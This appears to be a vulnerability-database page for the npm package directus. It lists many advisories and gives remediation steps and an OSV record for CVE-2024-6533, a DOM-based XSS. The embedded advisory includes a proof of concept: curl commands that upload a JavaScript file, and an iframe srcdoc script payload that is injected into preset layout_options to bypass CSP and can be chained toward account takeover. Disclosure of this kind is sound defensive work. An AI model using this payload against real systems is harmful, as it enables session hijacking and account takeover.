Vulnerabilities in pkg:npm/directus
PACKAGECVE-2024-6533 is a LOW (CVSS 3.4) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Directus libraries in the npm ecosystem. The issue involves directus has a dom-based cross-site scripting (xss) via layout_options. Remediation is available by upgrading affected packages to version 11.3.3.
pkg:npm/directus
Vulnerability advisories affecting package pkg:npm/directus. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-9qrm-48qf-r2rw | CVE-2024-6533 | LOW | Directus has a DOM-Based cross-site scripting (XSS) via layout_options |
| GHSA-c6w9-5g5j-jh2p | CVE-2026-61836 | HIGH | Directus: Authorization-dependent response served from unsegmented cache key |
| GHSA-j5h6-vqc3-phqh | CVE-2026-61835 | HIGH | Directus: SSRF Protection Bypass via 0.0.0.0 in File Import |
| GHSA-mvv8-v4jj-g47j | CVE-2026-39943 | MODERATE | Directus: Sensitive fields exposed in revision history |
| GHSA-393c-p46r-7c95 | CVE-2026-39942 | HIGH | Directus: Path Traversal and Broken Access Control in File Management API |
| GHSA-38hg-ww64-rrwc | CVE-2026-35442 | HIGH | Directus: Authenticated Users Can Extract Concealed Fields via Aggregate Queries |
| GHSA-ph52-67fq-75wj | CVE-2026-35441 | MODERATE | Directus: GraphQL Alias Amplification Denial of Service Due to Missing Query Cost/Complexity Limits |
| GHSA-qqmv-5p3g-px89 | CVE-2026-35412 | HIGH | Directus: TUS Upload Authorization Bypass Allows Arbitrary File Overwrite |
| GHSA-wv3h-5fx7-966h | CVE-2026-35409 | HIGH | Directus: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in File Import |
| GHSA-wxwm-3fxv-mrvx | CVE-2026-35413 | MODERATE | Directus: GraphQL Schema SDL Disclosure Setting |
| GHSA-cf45-hxwj-4cfj | CVE-2026-35410 | MODERATE | Directus: Open Redirect via Parser Bypass in OAuth2/SAML Authentication Flow |
| GHSA-q75c-4gmv-mg9x | CVE-2026-35411 | MODERATE | Directus: Open Redirect in Admin 2FA Setup Page |
| GHSA-8m32-p958-jg99 | CVE-2026-35408 | HIGH | Directus: Missing Cross-Origin Opener Policy |
| GHSA-6q22-g298-grjh | - | HIGH | Directus: Unauthenticated Denial of Service via GraphQL Alias Amplification of Expensive Health Check Resolver |
| GHSA-jr94-gj3h-c8rf | CVE-2026-26185 | MODERATE | Directus Vulnerable to User Enumeration via Password Reset Timing Attack |
| GHSA-gggm-66rh-pp98 | CVE-2023-38503 | MODERATE | Incorrect Permission Checking for GraphQL Subscriptions |
| GHSA-3573-4c68-g8cc | CVE-2026-22032 | MODERATE | Directus has open redirect in SAML |
| GHSA-r6wx-627v-gh2f | CVE-2024-54128 | MODERATE | Directus has an HTML Injection in Comment |
| GHSA-cff8-x7jv-4fm8 | CVE-2024-45596 | HIGH | Session is cached for OpenID and OAuth2 if `redirect` is not used |
| GHSA-cph6-524f-3hgr | CVE-2025-64749 | MODERATE | Directus Vulnerable to Information Leakage in Existing Collections |
| GHSA-8jpw-gpr4-8cmh | CVE-2025-64748 | MODERATE | Directus's conceal fields are searchable if read permissions enabled |
| GHSA-vv2v-pw69-8crf | CVE-2025-64747 | MODERATE | Directus is Vulnerable to Stored Cross-site Scripting |
| GHSA-9x5g-62gj-wqf2 | CVE-2025-64746 | MODERATE | Directus has Improper Permission Handling on Deleted Fields |
| GHSA-hxgm-ghmv-xjjm | CVE-2024-39701 | HIGH | Directus incorrectly handles `_in` filter |
| GHSA-mv33-9f6j-pfmc | CVE-2025-55746 | CRITICAL | Directus allows unauthenticated file upload and file modification due to lacking input sanitization |
| GHSA-7cvf-pxgp-42fc | CVE-2025-53889 | MODERATE | Directus' insufficient permission checks can enable unauthenticated users to manually trigger Flows |
| GHSA-rmjh-cf9q-pv7q | CVE-2025-53887 | MODERATE | Directus' exact version number is exposed by the OpenAPI Spec |
| GHSA-f24x-rm6g-3w5v | CVE-2025-53886 | MODERATE | Directus tokens are not redacted in flow logs, exposing session credentials to all admin |
| GHSA-x3vm-88hf-gpxp | CVE-2025-53885 | MODERATE | Directus is vulnerable to sensitive data exposure as user data is not being redacted when logged |
| GHSA-56p6-qw3c-fq2g | CVE-2025-30351 | LOW | Suspended Directus user can continue to use session token to access API |
| GHSA-g27j-74fp-xfpr | CVE-2022-26969 | CRITICAL | Insecure default value for CORS configuration |
| GHSA-j8xj-7jff-46mx | CVE-2025-30225 | MODERATE | Directus's S3 assets become unavailable after a burst of malformed transformations |
| GHSA-rv78-qqrq-73m5 | CVE-2025-30350 | MODERATE | Directus's S3 assets become unavailable after a burst of HEAD requests |
| GHSA-fm3h-p9wm-h74h | CVE-2025-30353 | HIGH | Directus's webhook trigger flows can leak sensitive data |
| GHSA-7wq3-jr35-275c | CVE-2025-30352 | MODERATE | Directus `search` query parameter allows enumeration of non permitted fields |
| GHSA-qf6h-p3mr-vmh5 | - | MODERATE | Duplicate Advisory: Code injection in Directus |
| GHSA-3fff-gqw3-vj86 | CVE-2024-6534 | MODERATE | Directus has an insecure object reference via PATH presets |
| GHSA-q83v-hq3j-4pq3 | - | MODERATE | Duplicate Advisory: Improper access control in Directus |
| GHSA-99vm-5v2h-h6r6 | CVE-2025-27089 | MODERATE | Directus allows updates to non-allowed fields due to overlapping policies |
| GHSA-pmf4-v838-29hg | CVE-2025-24353 | MODERATE | Directus allows privilege escalation using Share feature |
| GHSA-849r-qrwj-8rv4 | CVE-2024-54151 | HIGH | Directus allows unauthenticated access to WebSocket events and operations |
| GHSA-68g8-c275-xf2m | CVE-2024-46990 | MODERATE | Directus vulnerable to SSRF Loopback IP filter bypass |
| GHSA-jgf4-vwc3-r46v | CVE-2024-39896 | HIGH | Directus Allows Single Sign-On User Enumeration |
| GHSA-632p-p495-25m5 | CVE-2024-36128 | HIGH | Directus is soft-locked by providing a string value to random string util |
| GHSA-g65h-35f3-x2w3 | CVE-2024-34709 | MODERATE | Directus Lacks Session Tokens Invalidation |
| GHSA-p8v3-m643-4xqx | CVE-2024-34708 | MODERATE | Directus allows redacted data extraction on the API through "alias" |
| GHSA-fr3w-2p22-6w7p | CVE-2024-28239 | MODERATE | URL Redirection to Untrusted Site in OAuth2/OpenID in directus |
| GHSA-2ccr-g2rv-h677 | CVE-2024-28238 | LOW | Session Token in URL in directus |
| GHSA-5mhg-wv8w-p59j | CVE-2024-27296 | MODERATE | Directus version number disclosure |
| GHSA-qw9g-7549-7wg5 | CVE-2024-27295 | HIGH | Directus has MySQL accent insensitive email matching |
| GHSA-hmgw-9jrg-hf2m | CVE-2023-45820 | HIGH | Directus crashes on invalid WebSocket message |
| GHSA-22rr-f3p8-5gf8 | - | HIGH | Directus affected by VM2 sandbox escape vulnerability |
| GHSA-3gvp-54v2-2jrp | CVE-2020-19850 | MODERATE | Directus API vulnerable to denial of service |
| GHSA-8vg2-wf3q-mwv7 | CVE-2023-28443 | MODERATE | directus vulnerable to Insertion of Sensitive Information into Log File |
| GHSA-m5q3-8wgf-x8xf | CVE-2023-27481 | MODERATE | Directus vulnerable to extraction of password hashes through export querying |
| GHSA-4hmq-ggrm-qfc6 | CVE-2023-27474 | HIGH | directus vulnerable to HTML Injection in Password Reset email to custom Reset URL |
| GHSA-j3rg-3rgm-537h | CVE-2023-26492 | MODERATE | Directus vulnerable to Server-Side Request Forgery On File Import |
| GHSA-77qm-wvqq-fg79 | CVE-2022-36031 | MODERATE | Directus vulnerable to unhandled exception on illegal filename_disk value |
| GHSA-5h75-pvq4-82c9 | CVE-2022-23080 | MODERATE | Server-Side Request Forgery in Directus |
| GHSA-xmjj-3c76-5w84 | CVE-2022-24814 | HIGH | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in directus |
CVE-2024-6533 at a Glance
Security Impact
CVSS: 3.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N).
How to Fix CVE-2024-6533
To remediate this vulnerability, upgrade all affected Directus dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install directus@11.3.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls directus
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2024-6533, inspect your project dependencies using npm:
npm ls directus
Analyze the terminal output to locate any version of Directus in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 11.3.3), your application is affected.
Note: The npm ls directus command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Directus, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-6533 Affected Directus Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
directus
|
npm |
< 11.3.3
|
11.3.3
|
References
Frequently Asked Questions
What is CVE-2024-6533?
Which Directus versions are affected?
What version fixes CVE-2024-6533?
Is directus affected?
What is the CVSS score of CVE-2024-6533?
What CWE is associated with CVE-2024-6533?
How can I check npm dependencies for CVE-2024-6533?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9qrm-48qf-r2rw",
"modified" : "2026-08-14T19:11:38Z",
"published" : "2025-01-23T22:36:50Z",
"aliases" : [ "CVE-2024-6533" ],
"summary" : "Directus has a DOM-Based cross-site scripting (XSS) via layout_options",
"details" : "### Impact\nDirectus allows an authenticated attacker to save cross site scripting code to the database. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with [CVE-2024-6534](https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86), it could result in account takeover.\n\n### PoC\nTo exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account.\n\n1. Upload the following JavaScript file.\n\nUsing the upload functionality at `POST /files`. This PoC will show an alert message.\n\n```js\nexport TARGET_HOST=\"http://localhost:8055\"\nexport ATTACKER_EMAIL=\"malicious@malicious.com\"\nexport ATTACKER_PASSWORD=\"123456\"\nroot_dir=$(dirname $0)\nmkdir \"${root_dir}/static\"\n\ncurl -s -k -o /dev/null -w \"%{http_code}\" -X 'POST' \"${TARGET_HOST}/auth/login\" \\\n -c \"${root_dir}/static/attacker_directus_session_token\" \\\n -H 'Content-Type: application/json' \\\n -d \"{\\\"email\\\":\\\"${ATTACKER_EMAIL}\\\",\\\"password\\\":\\\"${ATTACKER_PASSWORD}\\\",\\\"mode\\\":\\\"session\\\"}\"\n\nid_url_file=$(echo \"alert('Successful DOM-based XSS')\" |\n curl -s -k -X 'POST' \"${TARGET_HOST}/files\" \\\n -b \"${root_dir}/static/attacker_directus_session_token\" \\\n -F \"file=@-;type=application/x-javascript;filename=poc.js\" | jq -r \".data.id\")\n```\n\n2. Create a preset for a collection and store the preset ID.\n\nOr use a preset already created from GET /presets. The following example uses the direct_users preset.\n\n```\nattacker_user_id=$(curl -s -k \"${TARGET_HOST}/users/me\" \\ -b \"${root_dir}/static/attacker_directus_session_token\" | jq -r \".data.id\") curl -i -s -k -X 'POST' \"${TARGET_HOST}/presets\" \\ -H 'Content-Type: application/json' \\ -b \"${root_dir}/static/attacker_directus_session_token\" \\ --data-binary \"{\\\"layout\\\":\\\"cards\\\",\\\"bookmark\\\":null,\\\"role\\\":null,\\\"user\\\":\\\"${attacker_user_id}\\\",\\\"search\\\":null,\\\"filter\\\":null,\\\"layout_query\\\":{\\\"cards\\\":{\\\"sort\\\":[\\\"email\\\"]}},\\\"layout_options\\\":{\\\"cards\\\":{\\\"icon\\\":\\\"account_circle\\\",\\\"title\\\":\\\"<iframe srcdoc=\\\\\\\"<script src='http://localhost:8055/assets/${id_url_file}'> </script>\\\\\\\">\\\",\\\"subtitle\\\":\\\"{{ email }}\\\",\\\"size\\\":4}},\\\"refresh_interval\\\":null,\\\"icon\\\":\\\"bookmark\\\",\\\"color\\\":null,\\\"collection\\\":\\\"directus_users\\\"}\"\n```\n\nWhen the user visits the view that uses the directus_users preset, the JavaScript file will be executed.\n\nNotes:\n\nNeed to use an iframe to execute the malicious JavaScript file to bypass the CSP policies. The payload structure is `<iframe srcdoc=\\\"<script src='URL_MALICIOUS_FILE'> </script>\\\">`.\n\nWe can target any collection that uses the vulnerable template structure that renders the layout option section.\n\nIn this PoC, the target is the same user who sends the payload, but if the attacking user has permission to modify or create presets for other users or even if he does not have permissions but can chain with CVE-2024-6534, he can achieve an account takeover.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "directus"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "11.3.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/directus/directus"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2025-01-23T22:36:50Z",
"nvd_published_at" : null
}
}